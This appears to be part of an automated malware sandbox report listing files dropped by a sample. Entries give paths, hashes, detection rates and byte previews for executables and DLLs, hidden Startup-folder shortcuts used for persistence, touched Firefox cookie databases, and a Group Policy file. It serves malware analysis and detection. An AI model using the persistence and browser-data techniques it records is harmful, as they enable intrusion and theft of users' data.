File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	305152
Entropy (8bit):	6.514377045159578
Encrypted:	false
SSDEEP:	3072:8HNWG9ZvpIjEH+P0VePSBxIoNzGW90KWupBuJxnf6+sXmSIN8niFWhr:LAaQHXxRN5WuLQf6+h8nPr
MD5:	80E0FECE33768E20034D106DB0D36341
SHA1:	BA12CCEA1E640CDB5FEDB0E9AC03AAD09BDC9510
SHA-256:	8A6721D38D828CE4DBBEF786174FAF854F366B0BF6F07189033AAFA53459A14E
SHA-512:	1292B73F6E0673A118AD726AB14DBCBBBE9D1245CAC978E5752838B51CCCABD4A286397FAF7DE27B98CD9AB88EA04FB46AA02EC3287D641B3056593F69606E7F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................q.....N.......O......=.........X/K.....u...X/p...Rich..........................PE..L......d.....................\|......WD....... ....@..................................$.........................................(....0...g...........................!..8............................x..@............ ..\|............................text...5........................... ..`.rdata..rl... ...n..................@..@.data...............t..............@....rsrc....g...0...h...,..............@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5do.1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\i1.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	3884863
Entropy (8bit):	7.9982714074161665
Encrypted:	true
SSDEEP:	98304:7goFFJ7lj6j1elkeoTNxPxDZhAryYACWcTIxlN+ba:7guJ7wpfTDPxD0P2YG
MD5:	78D3CA6355C93C72B494BB6A498BF639
SHA1:	2FA4E5DF74BFE75C207C881A1B0D3BC1C62C8B0E
SHA-256:	A1DD547A63B256AA6A16871ED03F8B025226F7617E67B8817A08444DF077B001
SHA-512:	1B2DF7BEE2514AEE7EFD3579F5DD33C76B40606D07DBA69A34C45747662FAD61174DB4931BCA02B058830107959205E889FEE74F8CCC9F6E03F9FD111761F4EA
Malicious:	false
Preview:	PK.........?.X........I......bunch.dat\]...:.... "...T.......N<wf..X $;.e..)....\|u]+...UV.~.....f.Rje.......@.f.r..V....J-.#U.....=.T..E.5.Z..&..z...'.k..%..Je.....[5.....P..B...@........G..z[.-B1....Jz#....%.J...j...W........>62.jK(...........E.T.Q}.j._I..R.TEj.>..O..:J%o.......`.f+O...W>.....S.INC.m.6..\|wQ.xk.K.....o.D....:.n4....P>..M._\|...P.R@.gW...k..X...MbM.....H....... .....#o.CC.!...1!R.g....Qc "P....Q.3.H.B.F.\|...)...........@..W.6..Z..7.9.....d'`_.6.zr%a......7.,...l....h.v......P.O.f..!..Y..#..Y.7..g..v=..k....J...N#\.5.....]......<.VGU.~....,..X.o.k..#..?v..%.0.+...m.(m..ah.JG>.....m..V......kb...B.jX...V$p... ..?.<....^...%KA=0\.(......Q.l>.;x..#W.@@.tIU ...Q............./e.7Ew..}h..^N... ........+.........bRz.........2r.f..u'o..s.}1...j.{.'%.......?..Z..M.....9.\|P..W.o...c...3....H\.4..B......;14.65.Q3....24$...2(..9j......!.$..<<....P#b..Lj.D.vG.+.}.T..6tR..b."..o.f...h>.......Z..5.(....]........

C:\Users\user\AppData\Local\Temp\u5do.2\UIxMarketPlugin.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\i1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1640960
Entropy (8bit):	6.484662993855079
Encrypted:	false
SSDEEP:	49152:/7Q2CH7FiYk7q8wOP2nyh9VgFdJYZL6MsQv4Pvg3KIA8wuSgKacXTT3Kos2lpm:sZH7FZk7LP2nyh9VgFdJYZL6NQgPVIAv
MD5:	D1BA9412E78BFC98074C5D724A1A87D6
SHA1:	0572F98D78FB0B366B5A086C2A74CC68B771D368
SHA-256:	CBCEA8F28D8916219D1E8B0A8CA2DB17E338EB812431BC4AD0CB36C06FD67F15
SHA-512:	8765DE36D3824B12C0A4478C31B985878D4811BD0E5B6FBA4EA07F8C76340BD66A2DA3490D4871B95D9A12F96EFC25507DFD87F431DE211664DBE9A9C914AF6F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?.e.^.6.^.6.^.6.&K6.^.6.&[6.^.6.^.6.].6.(V6.^.6.(b6[^.6.(c6._.6.(g6.^.6.(S6.^.6.(R6.^.6.(U6.^.6Rich.^.6................PE..L.....kU...........%.........4............................................................@..........................*..........T............................ .........................................@............................................text............................... ..`.rdata..Y;.......<..................@..@.data........0...^..................@....rsrc................p..............@..@.reloc..d.... .......v..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5do.2\bunch.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\i1.exe
File Type:	data
Category:	dropped
Size (bytes):	1329417
Entropy (8bit):	7.898171122766659
Encrypted:	false
SSDEEP:	24576:7vktfYOP8kCc3P/X970uBuBFA3S8Fa+/D9kGmk3Lh9AvPG:7vk5H8LIt1e2Sl+if2YG
MD5:	1E8237D3028AB52821D69099E0954F97
SHA1:	30A6AE353ADDA0C471C6ED5B7A2458B07185ABF2
SHA-256:	9387488F9D338E211BE2CB45109BF590A5070180BC0D4A703F70D3CB3C4E1742
SHA-512:	A6406D7C18694EE014D59DF581F1F76E980B68E3361AE680DC979606A423EBA48D35E37F143154DD97FE5F066BAF0EA51A2E9F8BC822D593E1CBA70EAD6559F3
Malicious:	false
Preview:	...BPM.M.oe....Z.I..Y..t.........RIP\u.fZG..cFQ......h...DAO.P\...j...g.T..id..a...^.PttPbo..ei.i.Z..W.y.g..T_..bMVj.wWAP.v]..xQW..tW.kq..._q.B.nn....p.v.Ds.a.F...vT.Yga.o..A\PM..M.]s...u.lp[.sGmuvB.`YB..g.U....HTB[PU.y..moby..N..q...E.EOs.Q.C[C..^oAOo..sfe....wg.Z....Z...R.kx.DS.WYq.]..dXb.[k.xe.eQc..Z..L..IZ.X.f.x..q..u....Y.[ZH..[v..J.dT.I....RA._OW.x.cK..G]...xwZ....f.Nl`.p.ZS.yJ.J.p..`hn.hYg..u....[Qernk....P[.jJ.....l..RNf......ya.s.M...S.^[TyM..U.fFQ...w..v.KFw.X.....oS[h...NRj..UYt.....nM..d..G.R]j.x...Y.C..b....U.as`GOT.......T.d.GVQV...[.Ct[.`w.R..Vc..O.D.`.dH.jm..S[...Q.....LmoTY.D_.IM...uCtDVt.oW..LK.E..........Ek.fxT.e.f.p.a.O....gaQ.g.O..K.N..l.].......f.Z.[o...HVTJB.l.d.GYVD.U.o....^.F..uH.LH.n.f....Hx^kON..kT.Tld.T.KV.[...MM\NL...Z...R....pd......j..m.DhIFCSO..eMf.W..c.C.[..h.....y.^A..S.W...i.n....N.E.w_....QSGKKF.k.d.g..O...r...o..EKUV.....J...r...I..HU...]xFd.aq..GTC.s.a.p..J....r^GYK.P.C.....qH.....a[..V...FJIsJ._.WTIvtKE.k.me[...H..wTw.a....c...n[_.l...f.I....axf`O

C:\Users\user\AppData\Local\Temp\u5do.2\relay.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\i1.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1596416
Entropy (8bit):	6.46619614175955
Encrypted:	false
SSDEEP:	49152:n2gm39uH+I5/GxEoadcqX7Q9F7r40YB+eTcq+PDXx1lWz0v2:DmtuH+e/RoadcqX7Qz7rDY8vq+Pbx1lc
MD5:	10D51BECD0BBCE0FAB147FF9658C565E
SHA1:	4689A18112FF876D3C066BC8C14A08FD6B7B7A4A
SHA-256:	7B2DB9C88F60ED6DD24B1DEC321A304564780FDB191A96EC35C051856128F1ED
SHA-512:	29FAF493BB28F7842C905ADC5312F31741EFFB09F841059B53D73B22AEA2C4D41D73DB10BBF37703D6AEB936FFACBC756A3CC85BA3C0B6A6863EF4D27FEFCD29
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S1,..PB..PB..PB.x&.<PB.x&.PB.x&.cQB..(...PB..(.>PB..PC..SB.x&..PB.x&..PB.x&..PB.x&..PB.Rich.PB.........PE..L.....kU...........%.....\...........0.......p......................................1.....@.................................dP..\|....p..........................z....}..................................@............p..,............................text...6Z.......\.................. ..`.rdata..J....p.......`..............@..@.data...\........Z...t..............@....rsrc........p......................@..@.reloc..6...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5do.2\run.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\i1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2469936
Entropy (8bit):	6.434916453080517
Encrypted:	false
SSDEEP:	49152:Y8UMSn5cV2N9LNwtQ5gRR+moI1axGbYj6QAl4ImDkg7d5lROCDG5yzlC97W+uJUM:QMS5hN9OtQ5gRjoI8xGbYj6QAl4gg7dF
MD5:	9FB4770CED09AAE3B437C1C6EB6D7334
SHA1:	FE54B31B0DB8665AA5B22BED147E8295AFC88A03
SHA-256:	A05B592A971FE5011554013BCFE9A4AAF9CFC633BDD1FE3A8197F213D557B8D3
SHA-512:	140FEE6DAF23FE8B7E441B3B4DE83554AF804F00ECEDC421907A385AC79A63164BD9F28B4BE061C2EA2262755D85E14D3A8E7DC910547837B664D78D93667256
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........]..<...<...<...D...<...J...<...J).A<...J(..=...D...<...<...?...J,..=...J...<...J...<..Rich.<..........................PE..L... .kU..........................................@..........................0&......&&...@.................................H. ......0"...............%.0 ...."..K...................................C..@...............,..... .@....................text............................... ..`.rdata...=.......>..................@..@.data....-....!....... .............@....rsrc........0".......!.............@..@.reloc...N...."..P...@".............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5do.2\whale.dbf

Download File

Process:	C:\Users\user\AppData\Local\Temp\i1.exe
File Type:	data
Category:	dropped
Size (bytes):	87278
Entropy (8bit):	4.38402884518968
Encrypted:	false
SSDEEP:	1536:X5B5jj6bWG+5cAD2Fno6ktTgDa+0rldAe7VwDb4bWTfmdI7p:X5Ljj6bi512Fn3b0Ie7qgbWd9
MD5:	A723BF46048E0BFB15B8D77D7A648C3E
SHA1:	8952D3C34E9341E4425571E10F22B782695BB915
SHA-256:	B440170853BDB43B66497F701AEE2901080326975140B095A1669CB9DEE13422
SHA-512:	CA8EA2F7F3C7AF21B5673A0A3F2611B6580A7ED02EFA2CFD8B343EB644FF09682BDE43B25EF7AAB68530D5CE31DCBD252C382DD336ECB610D4C4EBDE78347273
Malicious:	false
Preview:	......P..E.o...]k.`...Y.....q.rsD.o.QPk.]fpZl\.R....DG..vyH^Q.....tpW........kgE.p.`O...............X..S.....x.....`.R.fZ.N...M..h...yC..H.O.XMQiV..sq..Ai.lV...Pv..WO].be.sU.nU..rGe.P....BE.MSnb.Lq....o.p..a.s..a..fEa..R..U.sNC.qZwI...XJ.M..H.h.........d.TSZR.UqXFj....Z.U..XTN.......B.CK...S._.^pjLRnbG^.u.D...mx..e......IYlK.l.....p._p.S.l...BZu..q.UG\.U....y.Xdi..Ff...rmqJ..V.AM.os.Oy..FV.._bNiEyiPIL.AW..GD.....che..iGU.oSi.Y..Yt.\].i.x.N.KN.`FKscyQ.M.....pqhieCU.c.ru..Melr.YRAM.Tg.......]..r.b.pP...._..gUo.`QvN.]il..G...q...NP.m.qHi.iiJ_^.[.Y...e.oHy.p.]..a...X.o....A.cL.C.A.._cQp..oD.L.L.O_.ewev.peB.ia..Ay.t.Y\W.]..l.F._i.....^.gDZTDNUj..dDM..o...........m..E........N.X..x...v..Cg....VuJ.k...Ec..JW`^yZ.u.B.im....T...C\.x..Z.G]B....u.r..gn.V...Q...mnN.quc.rM\..S...AjY.oVTa.p.Oebr.g........eC[A....cvqB..Ed..q.kR..BiYg`bQcA.E.XKs.\o.C..qyjUm.o..C..sc.F.xlnVI.q..q.Vs...p.Bg..O.dha..t..O.`x....c.n.....xr...f.ggn.LR[S..Aqk.j..u....nb.`Gd^...b.fYKZ^R..l...c..EbGm.pq..s..qwjn.`P...b..JE...t

C:\Users\user\AppData\Local\Temp\u5do.3.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\i1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4866096
Entropy (8bit):	6.542818068158205
Encrypted:	false
SSDEEP:	49152:1ZRCckM8wwGbtBiRFWSGqCW4FL5wslsAEL1ksS2NHsF3TjZ1I6bqmHC0Jg:1ZRCwrb64XwWsAwFaFXxg
MD5:	397926927BCA55BE4A77839B1C44DE6E
SHA1:	E10F3434EF3021C399DBBA047832F02B3C898DBD
SHA-256:	4F07E1095CC915B2D46EB149D1C3BE14F3F4B4BD2742517265947FD23BDCA5A7
SHA-512:	CF54136B977FC8AF7E8746D78676D0D464362A8CFA2213E392487003B5034562EE802E6911760B98A847BDDD36AD664F32D849AF84D7E208D4648BD97A2FA954
Malicious:	true
Yara Hits:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....X..................5..P......`.5.......5...@...........................J.....`.J..........@............................7..N....<...............J.0(...08.............................. 8......................7.......8......................text...h.5.......5................. ..`.itext..<=....5..>....5............. ..`.data....V....5..X....5.............@....bss.....m...@7...... 7..................idata...N....7..P... 7.............@....didata.......8......p7.............@....tls....@.....8......z7..................rdata....... 8......z7.............@..@.reloc.......08......\|7.............@..B.rsrc.........<.......<.............@..@..............J.......J.............@..@........................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\BIT3A58.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 24 04:56:20 2024, mtime=Fri Apr 26 08:06:15 2024, atime=Wed Apr 24 04:56:20 2024, length=2469936, window=hide
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	5.0000724948697375
Encrypted:	false
SSDEEP:	24:852mCfvdFA8PVcvNeRDHgK0r1zeAibjx21nqygm:8NCtTaNeRDGYtyg
MD5:	BCEB35C3A5AAC83186058114532958F6
SHA1:	2DB844B0D0F1665B81162848A8E351D335329705
SHA-256:	B1E4858C39AC865789B1CE3F4117F49DAD428C7B70BD84089CA7CB14ED69C288
SHA-512:	16DE0E4EDA19F44C6F2BAB88CA9346D97F930782959D42FAD6FFC3A23AB63CE630122B322190154909C489400590857C9A7784BF2ED9A322D8AFB1248A776C71
Malicious:	false
Preview:	L..................F.... ....Z.!....d........Z.!....0.%.......................:..DG..Yr?.D..U..k0.&...&...... M.....t.....ty..........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.X.H....B.....................Bdg.A.p.p.D.a.t.a...B.P.1......X.H..Local.<......DWSl.X.H....V......................<..L.o.c.a.l.....N.1......X.H..Temp..:......DWSl.X.H....\.......................T.e.m.p.....T.1......X.H..u5do.2..>......X.H.X.H.............................u.5.d.o...2.....V.2.0.%..X./ .run.exe.@......X./.X.H..............................r.u.n...e.x.e.......`...............-......._.............Wj.....C:\Users\user\AppData\Local\Temp\u5do.2\run.exe......\.u.5.d.o...2.\.r.u.n...e.x.e.........\|....I.J.H..K..:...`.......X.......648351...........hT..CrF.f4... .@$!@.....,...W..hT..CrF.f4... .@$!@.....,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\il_Plugin_v1.lnk (copy)

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Apr 24 04:56:20 2024, mtime=Fri Apr 26 08:06:15 2024, atime=Wed Apr 24 04:56:20 2024, length=2469936, window=hide
Category:	dropped
Size (bytes):	1064
Entropy (8bit):	5.0000724948697375
Encrypted:	false
SSDEEP:	24:852mCfvdFA8PVcvNeRDHgK0r1zeAibjx21nqygm:8NCtTaNeRDGYtyg
MD5:	BCEB35C3A5AAC83186058114532958F6
SHA1:	2DB844B0D0F1665B81162848A8E351D335329705
SHA-256:	B1E4858C39AC865789B1CE3F4117F49DAD428C7B70BD84089CA7CB14ED69C288
SHA-512:	16DE0E4EDA19F44C6F2BAB88CA9346D97F930782959D42FAD6FFC3A23AB63CE630122B322190154909C489400590857C9A7784BF2ED9A322D8AFB1248A776C71
Malicious:	false
Preview:	L..................F.... ....Z.!....d........Z.!....0.%.......................:..DG..Yr?.D..U..k0.&...&...... M.....t.....ty..........t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl.X.H....B.....................Bdg.A.p.p.D.a.t.a...B.P.1......X.H..Local.<......DWSl.X.H....V......................<..L.o.c.a.l.....N.1......X.H..Temp..:......DWSl.X.H....\.......................T.e.m.p.....T.1......X.H..u5do.2..>......X.H.X.H.............................u.5.d.o...2.....V.2.0.%..X./ .run.exe.@......X./.X.H..............................r.u.n...e.x.e.......`...............-......._.............Wj.....C:\Users\user\AppData\Local\Temp\u5do.2\run.exe......\.u.5.d.o...2.\.r.u.n...e.x.e.........\|....I.J.H..K..:...`.......X.......648351...........hT..CrF.f4... .@$!@.....,...W..hT..CrF.f4... .@$!@.....,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.0.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\SecureClient\UIxMarketPlugin.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.2\run.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1640960
Entropy (8bit):	6.484662993855079
Encrypted:	false
SSDEEP:	49152:/7Q2CH7FiYk7q8wOP2nyh9VgFdJYZL6MsQv4Pvg3KIA8wuSgKacXTT3Kos2lpm:sZH7FZk7LP2nyh9VgFdJYZL6NQgPVIAv
MD5:	D1BA9412E78BFC98074C5D724A1A87D6
SHA1:	0572F98D78FB0B366B5A086C2A74CC68B771D368
SHA-256:	CBCEA8F28D8916219D1E8B0A8CA2DB17E338EB812431BC4AD0CB36C06FD67F15
SHA-512:	8765DE36D3824B12C0A4478C31B985878D4811BD0E5B6FBA4EA07F8C76340BD66A2DA3490D4871B95D9A12F96EFC25507DFD87F431DE211664DBE9A9C914AF6F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 18%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........?.e.^.6.^.6.^.6.&K6.^.6.&[6.^.6.^.6.].6.(V6.^.6.(b6[^.6.(c6._.6.(g6.^.6.(S6.^.6.(R6.^.6.(U6.^.6Rich.^.6................PE..L.....kU...........%.........4............................................................@..........................*..........T............................ .........................................@............................................text............................... ..`.rdata..Y;.......<..................@..@.data........0...^..................@....rsrc................p..............@..@.reloc..d.... .......v..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\SecureClient\bunch.dat

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.2\run.exe
File Type:	data
Category:	dropped
Size (bytes):	1329417
Entropy (8bit):	7.898171122766659
Encrypted:	false
SSDEEP:	24576:7vktfYOP8kCc3P/X970uBuBFA3S8Fa+/D9kGmk3Lh9AvPG:7vk5H8LIt1e2Sl+if2YG
MD5:	1E8237D3028AB52821D69099E0954F97
SHA1:	30A6AE353ADDA0C471C6ED5B7A2458B07185ABF2
SHA-256:	9387488F9D338E211BE2CB45109BF590A5070180BC0D4A703F70D3CB3C4E1742
SHA-512:	A6406D7C18694EE014D59DF581F1F76E980B68E3361AE680DC979606A423EBA48D35E37F143154DD97FE5F066BAF0EA51A2E9F8BC822D593E1CBA70EAD6559F3
Malicious:	false
Preview:	...BPM.M.oe....Z.I..Y..t.........RIP\u.fZG..cFQ......h...DAO.P\...j...g.T..id..a...^.PttPbo..ei.i.Z..W.y.g..T_..bMVj.wWAP.v]..xQW..tW.kq..._q.B.nn....p.v.Ds.a.F...vT.Yga.o..A\PM..M.]s...u.lp[.sGmuvB.`YB..g.U....HTB[PU.y..moby..N..q...E.EOs.Q.C[C..^oAOo..sfe....wg.Z....Z...R.kx.DS.WYq.]..dXb.[k.xe.eQc..Z..L..IZ.X.f.x..q..u....Y.[ZH..[v..J.dT.I....RA._OW.x.cK..G]...xwZ....f.Nl`.p.ZS.yJ.J.p..`hn.hYg..u....[Qernk....P[.jJ.....l..RNf......ya.s.M...S.^[TyM..U.fFQ...w..v.KFw.X.....oS[h...NRj..UYt.....nM..d..G.R]j.x...Y.C..b....U.as`GOT.......T.d.GVQV...[.Ct[.`w.R..Vc..O.D.`.dH.jm..S[...Q.....LmoTY.D_.IM...uCtDVt.oW..LK.E..........Ek.fxT.e.f.p.a.O....gaQ.g.O..K.N..l.].......f.Z.[o...HVTJB.l.d.GYVD.U.o....^.F..uH.LH.n.f....Hx^kON..kT.Tld.T.KV.[...MM\NL...Z...R....pd......j..m.DhIFCSO..eMf.W..c.C.[..h.....y.^A..S.W...i.n....N.E.w_....QSGKKF.k.d.g..O...r...o..EKUV.....J...r...I..HU...]xFd.aq..GTC.s.a.p..J....r^GYK.P.C.....qH.....a[..V...FJIsJ._.WTIvtKE.k.me[...H..wTw.a....c...n[_.l...f.I....axf`O

C:\Users\user\AppData\Roaming\SecureClient\relay.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.2\run.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1596416
Entropy (8bit):	6.46619614175955
Encrypted:	false
SSDEEP:	49152:n2gm39uH+I5/GxEoadcqX7Q9F7r40YB+eTcq+PDXx1lWz0v2:DmtuH+e/RoadcqX7Qz7rDY8vq+Pbx1lc
MD5:	10D51BECD0BBCE0FAB147FF9658C565E
SHA1:	4689A18112FF876D3C066BC8C14A08FD6B7B7A4A
SHA-256:	7B2DB9C88F60ED6DD24B1DEC321A304564780FDB191A96EC35C051856128F1ED
SHA-512:	29FAF493BB28F7842C905ADC5312F31741EFFB09F841059B53D73B22AEA2C4D41D73DB10BBF37703D6AEB936FFACBC756A3CC85BA3C0B6A6863EF4D27FEFCD29
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S1,..PB..PB..PB.x&.<PB.x&.PB.x&.cQB..(...PB..(.>PB..PC..SB.x&..PB.x&..PB.x&..PB.x&..PB.Rich.PB.........PE..L.....kU...........%.....\...........0.......p......................................1.....@.................................dP..\|....p..........................z....}..................................@............p..,............................text...6Z.......\.................. ..`.rdata..J....p.......`..............@..@.data...\........Z...t..............@....rsrc........p......................@..@.reloc..6...........................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\SecureClient\whale.dbf

Download File

Process:	C:\Users\user\AppData\Local\Temp\u5do.2\run.exe
File Type:	data
Category:	dropped
Size (bytes):	87278
Entropy (8bit):	4.38402884518968
Encrypted:	false
SSDEEP:	1536:X5B5jj6bWG+5cAD2Fno6ktTgDa+0rldAe7VwDb4bWTfmdI7p:X5Ljj6bi512Fn3b0Ie7qgbWd9
MD5:	A723BF46048E0BFB15B8D77D7A648C3E
SHA1:	8952D3C34E9341E4425571E10F22B782695BB915
SHA-256:	B440170853BDB43B66497F701AEE2901080326975140B095A1669CB9DEE13422
SHA-512:	CA8EA2F7F3C7AF21B5673A0A3F2611B6580A7ED02EFA2CFD8B343EB644FF09682BDE43B25EF7AAB68530D5CE31DCBD252C382DD336ECB610D4C4EBDE78347273
Malicious:	false
Preview:	......P..E.o...]k.`...Y.....q.rsD.o.QPk.]fpZl\.R....DG..vyH^Q.....tpW........kgE.p.`O...............X..S.....x.....`.R.fZ.N...M..h...yC..H.O.XMQiV..sq..Ai.lV...Pv..WO].be.sU.nU..rGe.P....BE.MSnb.Lq....o.p..a.s..a..fEa..R..U.sNC.qZwI...XJ.M..H.h.........d.TSZR.UqXFj....Z.U..XTN.......B.CK...S._.^pjLRnbG^.u.D...mx..e......IYlK.l.....p._p.S.l...BZu..q.UG\.U....y.Xdi..Ff...rmqJ..V.AM.os.Oy..FV.._bNiEyiPIL.AW..GD.....che..iGU.oSi.Y..Yt.\].i.x.N.KN.`FKscyQ.M.....pqhieCU.c.ru..Melr.YRAM.Tg.......]..r.b.pP...._..gUo.`QvN.]il..G...q...NP.m.qHi.iiJ_^.[.Y...e.oHy.p.]..a...X.o....A.cL.C.A.._cQp..oD.L.L.O_.ewev.peB.ia..Ay.t.Y\W.]..l.F._i.....^.gDZTDNUj..dDM..o...........m..E........N.X..x...v..Cg....VuJ.k...Ec..JW`^yZ.u.B.im....T...C\.x..Z.G]B....u.r..gn.V...Q...mnN.quc.rM\..S...AjY.oVTa.p.Oebr.g........eC[A....cvqB..Ed..q.kR..BiYg`bQcA.E.XKs.\o.C..qyjUm.o..C..sc.F.xlnVI.q..q.Vs...p.Bg..O.dha..t..O.`x....c.n.....xr...f.ggn.LR[S..Aqk.j..u....nb.`Gd^...b.fYKZ^R..l...c..EbGm.pq..s..qwjn.`P...b..JE...t

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

Download File

Process:	C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe
File Type:	RAGE Package Format (RPF),
Category:	dropped
Size (bytes):	5462
Entropy (8bit):	3.52113853369341
Encrypted:	false
SSDEEP:	96:W9H9h9j9n9a9K9o92939l9S9n9V9AyJ0LL0o0Gd01R0F0f0i0C0Z0w/:e
MD5:	4A22953F19005598A1AA2776DB15E522
SHA1:	648719AF40D07164FF31F18AB3F2A1DB3AD7CAC2
SHA-256:	404B90B03A9A6032BAB557D05A33D192B37050E5C048665F8831C7DDFBEE5748
SHA-512:	854C956E76F053B605C448005093C11BF4ADA372E18A957F7F837C10F30369D30F7F0D81C5D191F09C98286CAA1B299FAB0BEB6CB073580AA3FAEFF18EFE9629
Malicious:	false
